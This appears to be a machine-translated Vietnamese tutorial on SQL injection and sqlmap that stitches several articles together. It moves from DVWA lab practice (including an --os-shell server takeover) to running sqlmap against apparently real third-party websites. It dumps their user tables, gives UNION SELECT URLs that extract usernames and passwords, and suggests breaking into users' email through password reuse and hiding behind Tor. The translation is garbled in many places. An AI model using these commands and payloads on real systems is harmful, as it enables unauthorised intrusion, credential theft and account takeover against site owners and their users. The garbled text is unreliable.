Làm đầy vỏ bằng cách sử dụng sql. Hướng dẫn sử dụng sqlmap. Phần 1: Khái niệm cơ bản về công việc (GET). Cách hoạt động của tính năng tiêm SQL

SQL Tiêm là một kiểu tấn công trong đó kẻ tấn công sửa đổi logic truy vấn SQL của ứng dụng web, cho phép hắn đọc/sửa đổi/xóa các giá trị trong cơ sở dữ liệu và đôi khi thực thi mã tùy ý ở phía máy chủ. Bài viết này sẽ thảo luận về tiện ích sqlmap phổ biến để thực hiện việc chèn SQL.

Hiện tại, loại lỗ hổng này là nguy hiểm nhất có thể xảy ra. Trong 7 năm, dòng hàng đầu của “OWASP TOP-10” đã đứng đầu là việc tiêm SQL.

Có 5 lý do chính dẫn đến lỗ hổng này:

  1. Thiếu hoặc thiếu xác thực các tham số đầu vào, đặc biệt là đầu vào của người dùng. “Bất kỳ tham số đầu vào nào đều xấu”
  2. Truy cập không hợp lý và được bảo vệ yếu vào cơ sở dữ liệu. Loại này bao gồm các yếu tố như: số lượng lớn quản trị viên và siêu người dùng (root), hệ thống xác thực yếu, số lượng lớn quyền dành cho quản trị viên phụ, v.v.
  3. Ngành kiến ​​​​trúc. Sử dụng công nghệ lạc hậu, thiếu biện pháp kiểm soát, bỏ qua phương pháp “mô hình hóa mối đe dọa”.
  4. Tính di truyền của mã dễ bị tổn thương rõ ràng, việc sử dụng các giải pháp làm sẵn với mức độ bảo mật thấp.
  5. Thiếu mức độ trừu tượng thích hợp của mã thực thi khỏi dữ liệu.

Bản đồ SQL.

Các kiểu tiêm SQL.

Chúng ta hãy xem xét các kiểu chèn SQL được tiện ích SQLMap khai thác:

  1. Tiêm SQL mù dựa trên Boolean
    • Một phương pháp trong đó các yêu cầu và phản hồi HTTP được đọc từng ký tự để phát hiện các lỗ hổng.
    • Sau khi phát hiện tham số dễ bị tấn công, SQLMap sẽ thay thế hoặc thêm các câu lệnh SQL đúng về mặt cú pháp trong khi chờ máy chủ phản hồi bằng cách thực thi mã đó.
    • SQLMap so sánh yêu cầu hợp lệ ban đầu với phản hồi từ yêu cầu có nhúng mã độc.
    • SQLMap sử dụng thuật toán chia đôi ( chia đôi thuật toán) để tìm nạp từng ký tự của phản hồi bằng cách sử dụng tối đa bảy yêu cầu HTTP.
    • Trong trường hợp câu trả lời không được đưa ra ở dạng văn bản thuần túy, SQLMap sẽ điều chỉnh thuật toán có giá trị lớn hơn để xác định câu trả lời.
  2. Tiêm SQL mù dựa trên thời gian
    • Bản thân phương pháp Dựa trên thời gian giả định rằng có một số so sánh dựa trên thời gian yêu cầu và phản hồi bằng cách đưa một câu lệnh SQL đúng về mặt cú pháp vào tham số dễ bị tấn công.
    • SQLMap sử dụng các câu lệnh SQL đặt cơ sở dữ liệu ở trạng thái chờ để trả về trong một khoảng thời gian nhất định.
    • Sử dụng cùng một thuật toán chia đôi để xuất từng ký tự, SQLMap so sánh thời gian phản hồi HTTP với yêu cầu ban đầu.
  3. Tiêm SQL dựa trên lỗi
    • SQLMap sử dụng các câu lệnh SQL có thể tạo ra các lỗi cụ thể.
    • Tiện ích này tìm kiếm lỗi trong phản hồi HTTP của máy chủ.
    • Phương pháp này chỉ hoạt động nếu ứng dụng web được cấu hình để hiển thị thông báo lỗi.
  4. Truy vấn UNION
    • Nhập câu lệnh SQL ĐOÀN TẤT CẢ CHỌN .
    • Việc chèn SQL dựa trên các truy vấn UNION hoạt động dựa trên hành vi của ứng dụng, tức là. khi một ứng dụng chuyển kết quả của truy vấn CHỌN bằng văn bản thông qua một vòng lặp hoặc dòng hướng dẫn cụ thể cho phép ghi đầu ra vào nội dung của trang.
    • Trong trường hợp đầu ra không được lặp qua bất kỳ vòng lặp nào hoặc chuỗi câu lệnh khác, SQLMap sử dụng tính năng chèn truy vấn UNION một lần.
  5. Truy vấn xếp chồng
    • Sử dụng truy vấn gấp. SQLMap thêm dấu chấm phẩy (;) vào giá trị của tham số bị ảnh hưởng và thêm câu lệnh SQL cần được thực thi.
    • Sử dụng kỹ thuật này, bạn có thể thực thi các câu lệnh SQL khác ngoài SELECT. Điều này rất hữu ích cho việc thao tác dữ liệu, giành quyền truy cập đọc và ghi và cuối cùng được hệ điều hành ghi lại.
  6. Ngoài băng tần
    • Phương pháp này sử dụng kênh liên lạc phụ hoặc kênh liên lạc khác để đưa ra kết quả của các truy vấn chạy trên ứng dụng bị ảnh hưởng.
    • Ví dụ: việc chèn được thực hiện trong ứng dụng web và kênh phụ như truy vấn DNS, được sử dụng để chuyển tiếp dữ liệu trở lại miền của kẻ tấn công.

Sử dụng cơ bản SQLMap.

Khởi chạy tiện ích (phải ở biếnCON ĐƯỜNG ):

$sqlmap

Hoặc từ thư mục tiện ích:

$ python sqlmap.py

Để gọi tài liệu, hãy sử dụng phím «- h / — giúp đỡ »:

$ sqlmap --help $ python sqlmap.py –help

Hành động của các khóa SQLMap hoàn toàn phụ thuộc vào chính xác những gì kẻ tấn công muốn đạt được. Danh sách cơ bản của các hành động SQLMap trông như thế này:

  • Liệt kê thông tin cơ sở dữ liệu như tên, phiên bản và các chi tiết khác.
  • Chọn một cơ sở dữ liệu cụ thể để liệt kê thông tin về các bảng chứa trong đó.
  • Chọn bảng và liệt kê thông tin cột.
  • Chọn một cột và liệt kê các hàng để lấy giá trị của chúng.
  • Khai thác thêm.

Luyện tập.

Để đào tạo thực tế, chúng tôi sẽ sử dụng Chết tiệt Dễ bị tổn thương Web Ứng dụng (DVWA hoặc "Ứng dụng web dễ bị tổn thương chết tiệt").

DVWA là một ứng dụng web miễn phí được xây dựng trên các công nghệ như PHP và MySQL, được thiết kế để rèn luyện kỹ năng pentesting.

Bây giờ chúng tôi chỉ quan tâm đến việc tiêm, nhưng nói chung, bạn có thể kiểm tra khả năng của mình đối với các lỗ hổng khác được tạo dựa trên bản chính thức OWASP ĐỨNG ĐẦU -10 .

P.S.: Cách thực hành này giả định rằng bạn có kiến ​​thức cơ bản về Linux, trình độ tiếng Anh ban đầu và khả năng sử dụng Google (nếu bạn không có các kỹ năng trên).

Cài đặt:

  • Tải ứng dụng và làm theo hướng dẫn;
  • Thay đổi mức độ khó thành THẤP;
  • Chúng tôi chỉ quan tâm đến tab “SQL SQL”;

Dữ liệu ban đầu:

  • Máy chủ web trên mạng riêng
  • URL dễ bị tổn thương: http:// của bạn chủ nhà . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Tham số dễ bị tổn thương: nhận dạng

Vậy hãy bắt đầu:

  1. Chúng tôi xác nhận tính khả dụngSQL tiêm:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Giải thích lệnh:

— url – URL có tham số được cho là dễ bị tấn công. Điều quan trọng cần lưu ý là biến cho khóa này được viết trong dấu ngoặc kép, bởi vì URL đang được kiểm tra có nhiều tham số được chuyển. Nếu không, bạn có thể bỏ qua dấu ngoặc kép và sử dụng phiên bản rút gọn của khóa “- bạn không có dấu bằng .

- cookie – Cookie phiên để truy cập trực tiếp trong một cuộc tấn công (khóa tùy chọn).

Phần kết luận:

Phân tích:

  • Ứng dụng dễ bị tấn công SQL SQL
  • Kiểu tiêm – Truy vấn UNION
  • Cơ sở dữ liệu phía sau (DBMS) - MySQL5
  • Chi tiết kỹ thuật hệ điều hành - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Chúng tôi liệt kê tên của cơ sở dữ liệu:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Giải thích lệnh:

—dbs – khóa để liệt kê các cơ sở dữ liệu có sẵn.

Phần kết luận:

Phân tích: SQLMap liệt kê các cơ sở dữ liệu có sẵn (tổng cộng 7).

  1. Chúng tôi liệt kê tên của các bảng (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Giải thích lệnh:

-D – Chỉ định cơ sở dữ liệu mà chúng tôi quan tâm.

--tables – Liệt kê các bảng có sẵn trong cơ sở dữ liệu.

Phần kết luận:

Phân tích: Như chúng ta thấy, SQLMap đã liệt kê thành công tên 2 bảng trong cơ sở dữ liệu dvwa .

  1. Danh sách thêm tên cột của bảng “người dùng ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T người dùng –cột

Giải thích lệnh:

-T – Cho biết bảng chúng ta quan tâm.

—columns – Liệt kê các cột có sẵn trong bảng.

Phần kết luận:

Phân tích: Như chúng ta thấy, SQLMap đã liệt kê thành công tên 6 cột trong bảng người dùng, bd dvwa .

  1. Chúng tôi liệt kê/lấy các giá trị từ bảng “người dùng ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T người dùng -C user_id,người dùng,mật khẩu --dump

Giải thích lệnh:

C – Chỉ ra các cột mà chúng tôi quan tâm.

--dump – Kết xuất giá trị từ các cột được liệt kê.

Phần kết luận:

Phân tích: Dựa trên phản hồi của SQLMap, chúng tôi lưu ý các điểm sau:

  • SQLMap truy xuất các bản ghi từ các cột được chỉ định và sau đó phân tích dữ liệu chứa trong các cột đó.
  • Sau khi dữ liệu được nhận dạng là các hàm băm mật khẩu có thể có, SQLMap sẽ cố gắng bẻ khóa hàm băm bằng các thuật toán băm khác nhau.
  • Trong trường hợp này, hàm băm là MD5, do đó, với kỹ thuật băm đầu tiên mà công cụ sử dụng, nó có thể bẻ khóa thành công các hàm băm và tạo ra phản hồi có định dạng tốt.
  • Ngoài ra, công cụ này còn lưu các mục được liệt kê ở định dạng tệp “.csv” để sử dụng sau này; Vì vậy, bạn không cần kết xuất dữ liệu vào tệp văn bản hoặc chụp ảnh màn hình, SQLMap sẽ đảm nhiệm việc đó.
  1. Tiếp tục khai thác và chiếm đoạt máy chủ (A.S.P. , không bao gồmDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Giải thích lệnh:

—data – Chỉ định các tham số để kiểm tra được gửi trong yêu cầu POST.

—os —shell – Khóa đặc biệt để cố gắng khai thác bảng điều khiển máy chủ thông qua tính năng chèn SQL.

Phần kết luận:

Phân tích: Dựa trên phản hồi của SQLMap, chúng tôi lưu ý các điểm sau:

  • Sau khi xác nhận và khai thác tính năng tiêm SQL, SQLMap sẽ kiểm tra xem người dùng có phải là DBA (Quản trị viên cơ sở dữ liệu) hay không.
  • Sau đó, công cụ này đã cố gắng sử dụng một quy trình được lưu trữ mở rộng - "xp_cmdshell", quy trình này thường được SQL Server 2000 sử dụng.
  • "xp_cmdshell" được sử dụng để thực thi dòng lệnh đã cho dưới dạng lệnh hệ điều hành. Đổi lại, nó đưa ra kết quả dưới dạng văn bản tiêu chuẩn.

Lợi ích của việc đạt được mức độ truy cập hệ thống sâu hơn:

  • Truy cập vào thông tin xác thực của người dùng hoặc băm mật khẩu.
  • Shell tương tác cho phép bạn tải lên hoặc tải xuống các tệp từ máy chủ.
  • Chạy các lệnh trục (OS) để khám phá mạng nội bộ.
  • Khả năng tải xuống phần mềm độc hại.
  • Khai thác thêm bằng Metasploit Framework.
  • Tạo và lấp đầy các cửa sau.

Các phương pháp hay nhất và cách sử dụng nâng cao.

  1. Bản đồ SQL XÀ BÔNG (Đơn giản Sự vật Truy cập Giao thức ) yêu cầu: Quá trình phân tích các yêu cầu SOAP khá đơn giản:
    • Nắm bắt yêu cầu SOAP của bạn.
    • Lưu nó vào một tệp văn bản cùng với các tham số dễ bị tấn công.
    • Sử dụng lệnh bên dưới cho SQLMap cùng với tùy chọn -p nếu bạn biết tham số dễ bị tấn công:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap sẽ tự động phân tích yêu cầu SOAP và cố gắng xâm nhập vào tham số dễ bị tấn công.
  1. Bản đồ SQL JSON (JavaScript Sự vật Ký hiệu ) yêu cầu: Trong các tình huống tương tự khi sử dụng SQLMap cho truy vấn SOAP, truy vấn JSON cũng có thể được phân tích và khai thác. Đối với loại truy vấn JSON, SQLMap sẽ nhắc bạn khai thác lỗ hổng bằng cách phát hiện loại truy vấn JSON trong "tệp truy vấn". Khi bạn trả lời có, công cụ sẽ phân tích yêu cầu và chọn hướng tấn công riêng.
  2. Bản đồ SQL và máy chủ proxy: Các loại mạng doanh nghiệp thường được bảo mật và giám sát bằng cách sử dụng proxy được kiểm soát đối với tất cả lưu lượng truy cập vào hoặc ra. Trong những trường hợp như vậy, bạn có tùy chọn thêm tùy chọn proxy trực tiếp vào tùy chọn SQLMap để liên lạc với URL mục tiêu. Mặc dù SQLMap là một công cụ dòng lệnh nhưng nó giao tiếp qua giao thức HTTP, do đó nếu bạn đặt proxy HTTP cho kết nối Internet tương ứng, SQLMap sẽ lấy nó làm cơ sở:
$ ./sqlmap.py --proxy=http:// :
  1. Bản đồ SQL WAF (Web Ứng dụng Bức tường lửa ): WAF là lớp bảo vệ bổ sung cho các ứng dụng web, làm phức tạp đáng kể việc phân tích và vận hành bằng các phương pháp tiêu chuẩn có sẵn trong SQLMap. Với mục đích này, có một chức năng "tamper -script", giúp đơn giản hóa đáng kể việc làm việc với các ứng dụng web nằm phía sau WAF.
  2. Bản đồ SQL và ẩn danh: Nếu bạn muốn ẩn danh tính của mình và ẩn danh đối với ứng dụng mục tiêu, bạn có thể sử dụng máy chủ proxy TOR (The Onion Router). Trong SQLMap, bạn có thể định cấu hình proxy TOR để ẩn nguồn mà lưu lượng truy cập hoặc yêu cầu được tạo bằng các khóa sau:
    • tor chuyển tiện ích sang chế độ proxy TOR.
    • tor kiểu cấu hình thủ công giao thức proxy TOR (HTTP /SOCKS 4/4a /5).
    • kiểm tra tor kiểm tra chức năng của proxy TOR

SQL SQL là một cuộc tấn công khai thác các câu lệnh SQL động bằng cách nhận xét một số phần nhất định của câu lệnh hoặc thêm một điều kiện luôn đúng. Nó nhắm vào các lỗ hổng trong kiến ​​trúc ứng dụng web và sử dụng các câu lệnh SQL để thực thi mã SQL độc hại:

Trong bài viết này, chúng ta sẽ xem xét các kỹ thuật được sử dụng trong quá trình chèn SQL và cách bảo vệ các ứng dụng web khỏi các cuộc tấn công như vậy.

Cách hoạt động của tính năng tiêm SQL

Các loại tấn công có thể được thực hiện bằng cách sử dụng SQL SQL khác nhau tùy thuộc vào loại công cụ cơ sở dữ liệu bị ảnh hưởng. Cuộc tấn công nhắm vào các câu lệnh SQL động. Câu lệnh động là câu lệnh được tạo trong thời gian chạy dựa trên các tham số từ biểu mẫu web hoặc chuỗi truy vấn URI.

Hãy xem xét một ứng dụng web đơn giản có biểu mẫu đăng nhập. Mã biểu mẫu HTML bên dưới:

  • Biểu mẫu chấp nhận một địa chỉ email và sau đó mật khẩu được gửi đến tệp PHP có tên là index.php;
  • Phiên được lưu trữ trong cookie. Tính năng này được kích hoạt bằng cách kiểm tra cờ nhớ_me. Phương thức post được sử dụng để gửi dữ liệu. Điều này có nghĩa là các giá trị không được hiển thị trong URL.

Giả sử rằng yêu cầu kiểm tra ID người dùng ở phía máy chủ trông như thế này:

  • Yêu cầu sử dụng trực tiếp các giá trị mảng $_POST mà không làm sạch nó;
  • Mật khẩu được mã hóa bằng thuật toán MD5.

Chúng ta sẽ xem xét một cuộc tấn công bằng cách sử dụng SQL SQL sqlfiddle. Mở URL http://sqlfiddle.com/ trong trình duyệt của bạn. Cửa sổ sau sẽ xuất hiện trên màn hình.

Lưu ý: Bạn sẽ cần viết câu lệnh SQL:

Bước 1: Nhập mã này vào bảng bên trái:

TẠO BẢNG `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); chèn vào giá trị người dùng (email, mật khẩu) (" [email được bảo vệ]",md5("abc"));

Bước 2: Click vào nút Xây dựng lược đồ».
Bước 3: Nhập đoạn mã dưới đây vào khung bên phải:

chọn * từ người dùng;

Bước 4: Nhấp vào " Chạy SQL" Bạn sẽ thấy kết quả sau:

Giả sử người dùng cung cấp một địa chỉ email [email được bảo vệ] và 1234 làm mật khẩu. Truy vấn cần được thực thi trên cơ sở dữ liệu có thể trông như thế này:

Bạn có thể bỏ qua mã chèn SQL mẫu ở trên bằng cách nhận xét một phần mật khẩu và thêm một điều kiện luôn đúng. Giả sử kẻ tấn công chèn dữ liệu sau vào trường địa chỉ email:

[email được bảo vệ]" HOẶC 1 = 1 GIỚI HẠN 1 -- " ]

và xxx trong trường mật khẩu.

Câu lệnh động được tạo sẽ trông như thế này:

  • [email được bảo vệ] kết thúc bằng một trích dẫn duy nhất, kết thúc chuỗi;
  • HOẶC 1 = 1 GIỚI HẠN 1 là điều kiện luôn đúng và giới hạn kết quả trả về chỉ trong một bản ghi.

0; ‘ AND ... là một nhận xét SQL loại trừ phần mật khẩu.

Sao chép truy vấn trên và dán vào hộp văn bản FiddleRun SQL như hiển thị bên dưới:

Hoạt động của hacker: Việc tiêm SQL vào các ứng dụng web

Chúng tôi có sẵn một ứng dụng web đơn giản tại http://www.techpanda.org/, ứng dụng này đặc biệt dễ bị tấn công bằng SQL SQL dành cho người mới bắt đầu nhằm mục đích trình diễn. Mã biểu mẫu HTML nêu trên được lấy từ trang ủy quyền của ứng dụng này.

Nó cung cấp bảo mật cơ bản như vệ sinh trường email. Điều này có nghĩa là đoạn mã trên không thể được sử dụng để bỏ qua cơ chế này.

Để bỏ qua điều này, bạn có thể sử dụng trường mật khẩu. Sơ đồ dưới đây cho thấy các bước bạn cần thực hiện:

Giả sử kẻ tấn công cung cấp dữ liệu sau:

Bước 1: Nhập [email được bảo vệ] như một địa chỉ email;
Bước 2: Nhập xxx’) HOẶC 1 = 1 - ] ;

Nhấp vào nút “Gửi”.

Nó sẽ được gửi đến bảng quản trị. Truy vấn được tạo sẽ trông như thế này:

Sơ đồ bên dưới cho thấy yêu cầu được tạo như thế nào:

Đây:

  • Yêu cầu giả định rằng mã hóa md5 được sử dụng;
  • Một dấu ngoặc đơn và dấu ngoặc đơn đóng được sử dụng;
  • Một điều kiện được thêm vào toán tử sẽ luôn đúng.

Thông thường, những kẻ tấn công cố gắng sử dụng một số phương pháp khác nhau trong cuộc tấn công tiêm nhiễm SQL để đạt được mục tiêu của chúng.

Các kiểu tấn công tiêm nhiễm SQL khác

Việc tiêm SQL có thể gây ra nhiều thiệt hại hơn so với việc đăng nhập vào hệ thống bằng cách bỏ qua cơ chế ủy quyền. Một số cuộc tấn công này có thể:

  • Thực hiện xóa dữ liệu;
  • Thực hiện cập nhật dữ liệu;
  • Thêm dữ liệu;
  • Thực thi các lệnh trên máy chủ để tải xuống và cài đặt các chương trình độc hại;
  • Xuất dữ liệu có giá trị như chi tiết thẻ tín dụng, email và mật khẩu sang máy chủ từ xa của kẻ tấn công.

Danh sách trên chưa đầy đủ. Nó chỉ đơn giản đưa ra ý tưởng về mối nguy hiểm mà việc tiêm SQL gây ra.

Công cụ tự động hóa việc tiêm SQL

Trong ví dụ trên, chúng tôi đã sử dụng các phương pháp tấn công thủ công. Trước khi thực hiện SQL SQL, bạn cần hiểu rằng có những công cụ tự động cho phép bạn thực hiện các cuộc tấn công hiệu quả và nhanh chóng hơn:

  • SQLSmack ;
  • SQLPing 2;
  • Bản đồ SQL.

Cách ngăn chặn việc tiêm SQL

Dưới đây là một số quy tắc đơn giản để bảo vệ khỏi các cuộc tấn công tiêm nhiễm SQL:

Đầu vào của người dùng không đáng tin cậy. Nó luôn cần được làm sạch trước khi dữ liệu được sử dụng trong các hoạt động SQL động.

Thủ tục lưu trữ- Chúng có thể đóng gói các truy vấn SQL và xử lý tất cả dữ liệu đầu vào dưới dạng tham số.

Truy vấn đã chuẩn bị- Truy vấn được tạo trước, sau đó tất cả dữ liệu người dùng được cung cấp sẽ được xử lý dưới dạng tham số. Điều này không ảnh hưởng đến cú pháp câu lệnh SQL.

Biểu thức chính quy- có thể được sử dụng để phát hiện mã độc hại tiềm ẩn và loại bỏ nó trước khi thực thi các câu lệnh SQL.

Quyền truy cập để kết nối với cơ sở dữ liệu- ĐẾN bảo vệ chống lại việc tiêm SQL, các tài khoản được sử dụng để kết nối với cơ sở dữ liệu chỉ được cấp các quyền truy cập cần thiết. Điều này sẽ giúp hạn chế những hành động mà câu lệnh SQL có thể thực hiện trên máy chủ.

Thông báo lỗi- không được tiết lộ thông tin bí mật. Thông báo lỗi tùy chỉnh đơn giản như " Rất tiếc, đã xảy ra lỗi kỹ thuật. Nhóm hỗ trợ đã được thông báo về điều đó. Vui lòng thử lại sau" có thể được sử dụng thay vì hiển thị các truy vấn SQL gây ra lỗi.

sqlmap là gì và nó dùng để làm gì?

Chương trình cho phép bạn kiểm tra các trang web để tìm lỗ hổng SQL SQL, lỗ hổng XSS và cũng có thể khai thác SQL SQL. Hỗ trợ nhiều loại SQL SQL và nhiều cơ sở dữ liệu khác nhau.

Bạn có thể làm gì với sqlmap

Với sqlmap bạn có thể:

  • kiểm tra xem các trang web có lỗ hổng không

Nếu trang web dễ bị tấn công SQL SQL thì có thể:

  • nhận thông tin từ cơ sở dữ liệu, bao gồm cả cơ sở dữ liệu kết xuất (toàn bộ)
  • sửa đổi và xóa thông tin khỏi cơ sở dữ liệu
  • tải shell (backdoor) lên máy chủ web

Một trong những tình huống sử dụng sqlmap:

  • Lấy tên người dùng và mật khẩu từ cơ sở dữ liệu
  • Tìm kiếm bảng quản trị trang (bảng quản trị)
  • Đăng nhập vào bảng quản trị bằng thông tin đăng nhập và mật khẩu đã nhận được

Nếu có lỗ hổng, cuộc tấn công có thể phát triển theo nhiều hướng khác nhau:

  • Sửa đổi dữ liệu
  • Lấp đầy cửa sau
  • Tiêm mã JavaScript để lấy dữ liệu người dùng
  • Triển khai mã để kết nối trên BeEF

Như chúng ta có thể thấy, SQL SQL là một lỗ hổng rất nguy hiểm mang đến cho kẻ tấn công những cơ hội lớn.

Kiểm tra trang web bằng sqlmap

Nếu trang web nhận dữ liệu từ người dùng bằng phương thức GET (khi cả tên của biến và dữ liệu được truyền đều hiển thị trên thanh địa chỉ của trình duyệt), thì bạn cần chọn địa chỉ của trang chứa biến này. hiện tại. Nó xuất hiện sau dấu chấm hỏi ( ? ), Ví dụ:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

Trong địa chỉ đầu tiên, tên biến là nhận dạng và giá trị được truyền là 8 . Trong địa chỉ thứ hai, tên biến cũng là nhận dạng và giá trị được truyền 22 . Trong ví dụ thứ ba, tên biến giống nhau nhưng giá trị được truyền là p_36. Tên biến giống nhau là trùng khớp ngẫu nhiên cho các trang web khác nhau, nó có thể là bất cứ thứ gì, dữ liệu được truyền có thể là bất cứ thứ gì, có thể có một số biến có giá trị được phân tách bằng ký hiệu & .

Nếu muốn kiểm tra xem biến id có dễ bị tấn công SQL SQL hay không thì chúng ta cần nhập toàn bộ địa chỉ - http://www.dwib.org/faq2.php?id=8 (không phải http://www.dwib .org /faq2.php hoặc http://www.dwib.org).

Lệnh kiểm tra một biến được truyền bằng phương thức GET rất đơn giản:

Sqlmap -u site_address

Đối với các trang web này, các lệnh sẽ là:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Trong quá trình xác minh, sqlmap có thể đặt nhiều câu hỏi khác nhau và bạn cần trả lời chúng y(tức là Có) hoặc N(tức là Không). Chữ y và n có thể viết hoa hoặc viết thường. Chữ in hoa nghĩa là lựa chọn mặc định, nếu đồng ý thì chỉ cần nhấn Enter.

Ví dụ về các tình huống và câu hỏi:

Heuristics đã phát hiện ra rằng mục tiêu được bảo vệ bởi một số loại WAF/IPS/IDS, bạn có muốn sqlmap thử phát hiện WAF/IPS/IDS phụ trợ không?

Heuristics xác định rằng mục tiêu được bảo vệ bởi một số loại WAF/IPS/IDS. Bạn có muốn sqlmap cố gắng xác định tên của WAF/IPS/IDS không?

Yêu cầu yêu thích của tôi:

Thử nghiệm heuristic (cơ bản) cho thấy rằng tham số GET "id" có thể được tiêm vào (DBMS có thể là: "MySQL"), thử nghiệm để tiêm SQL vào tham số GET "id", có vẻ như DBMS back-end là "MySQL". Bạn có muốn bỏ qua tải trọng kiểm tra cụ thể cho các DBMS khác không?

Vấn đề là các phương pháp phỏng đoán đã xác định rằng tham số có thể dễ bị tấn công và DBMS từ xa đã được xác định, chúng tôi được hỏi liệu chúng tôi có muốn tiếp tục kiểm tra hay không. Và trong ảnh chụp màn hình thứ hai, trang web cũng dễ bị XSS tấn công.

Nếu bạn muốn tự động hóa quy trình để sqlmap không hỏi bạn mọi lúc mà sử dụng lựa chọn mặc định (luôn có các tùy chọn tốt hơn), thì bạn có thể chạy lệnh với tùy chọn --lô hàng:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Các vấn đề có thể xảy ra khi quét sqlmap

Các lỗi sau có thể xuất hiện:

Đã hết thời gian kết nối với URL mục tiêu. sqlmap sẽ thử lại (các) yêu cầu nếu sự cố vẫn tiếp diễn, vui lòng kiểm tra xem URL mục tiêu được cung cấp có hợp lệ không. Trong trường hợp đúng như vậy, bạn có thể thử chạy lại với công tắc "--random-agent" được bật và/hoặc công tắc proxy ("--ignore-proxy", "--proxy",...)

Nghĩa là website không muốn “nói chuyện” với sqlmap. Là một lựa chọn, chúng tôi được đề nghị sử dụng --đại lý ngẫu nhiên. Nếu bạn có thể xem trang web trong trình duyệt, nhưng sqlmap viết về việc không thể kết nối, thì trang web đó sẽ bỏ qua các yêu cầu, tập trung vào tác nhân người dùng. Tùy chọn --random-agent thay đổi giá trị sqlmap tiêu chuẩn thành ngẫu nhiên:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Một lý do khác dẫn đến lỗi này có thể là IP của bạn bị chặn bởi một trang web - khi đó bạn cần sử dụng proxy. Nếu bạn đang sử dụng proxy và lỗi này xuất hiện, điều đó có thể có nghĩa là proxy đó có vấn đề về giao tiếp và bạn nên thử mà không dùng proxy đó.

kết quả quét sqlmap

Các nội dung SQL được phát hiện được hiển thị như sau:

Những thứ kia. được tô sáng màu xanh đậm, tên của tham số dễ bị tổn thương được viết, loại lỗ hổng SQL và có từ tiêm được.

Lấy danh sách cơ sở dữ liệu với sqlmap

Để có danh sách cơ sở dữ liệu, hãy sử dụng tùy chọn --dbs. Ví dụ:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Lấy thông tin từ cơ sở dữ liệu

Ví dụ: hai cơ sở dữ liệu đã được tìm thấy cho trang web wellerpools.com:

[*] information_schema [*] main_wellerpools

Tôi muốn biết danh sách các bảng trong cơ sở dữ liệu main_wellerpools. Để thực hiện việc này, hãy sử dụng tùy chọn --những cái bàn. Ngoài ra, chúng ta cần chỉ ra bảng mà chúng ta quan tâm sau tùy chọn -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Danh sách các bảng:

Vì lý do nào đó, tôi muốn biết danh sách các cột trong bảng người dùng. Để thực hiện việc này, hãy sử dụng tùy chọn --cột. Ngoài ra, chúng tôi cần chỉ ra cơ sở dữ liệu mà chúng tôi quan tâm ( -D main_wellerpools) và sau phím -T bảng mà chúng tôi muốn xem danh sách các cột:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T người dùng --columns

Để hiển thị nội dung, hãy sử dụng tùy chọn --bãi rác. Nó có thể được chỉ định cùng với cơ sở dữ liệu và sau đó kết xuất toàn bộ cơ sở dữ liệu sẽ được tạo hoặc bạn có thể giới hạn dữ liệu trong một bảng hoặc thậm chí một cột. Với lệnh sau tôi muốn xem nội dung của toàn bộ bảng người dùng:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T người dùng --dump

Hãy xem các mật khẩu - khi kiểm tra nhanh, tôi nghĩ chúng là các giá trị băm. Các quản trị viên thực sự đã cố gắng tự vệ nhưng điều đó không giúp được gì cho họ.

Nhân tiện, do tham số chấp nhận dữ liệu được gửi bằng phương thức GET dễ bị tấn công, nên bạn có thể tạo yêu cầu trực tiếp trong dòng trình duyệt theo cách mà thông tin đăng nhập và mật khẩu của người dùng sẽ được hiển thị trực tiếp trên chính trang web:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+từ+người dùng--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+từ+người dùng--

Những thứ kia. Chúng tôi có tên người dùng, mật khẩu và email của người dùng (và rất có thể là cả quản trị viên) của trang web. Nếu bạn có thể tìm thấy bảng quản trị của trang web, bạn có thể giành quyền kiểm soát trang web hoặc máy chủ web. Với sự yêu thích của người dùng đối với những mật khẩu giống nhau và biết hộp thư của họ, bạn có thể thử hack thư của họ.

Nhìn chung, SQL SQL là một lỗ hổng rất nguy hiểm.

Tiết lộ nội dung: .THIỀN HỌC

Chúng tôi có một SQL Insert trên trang web trông như thế này:

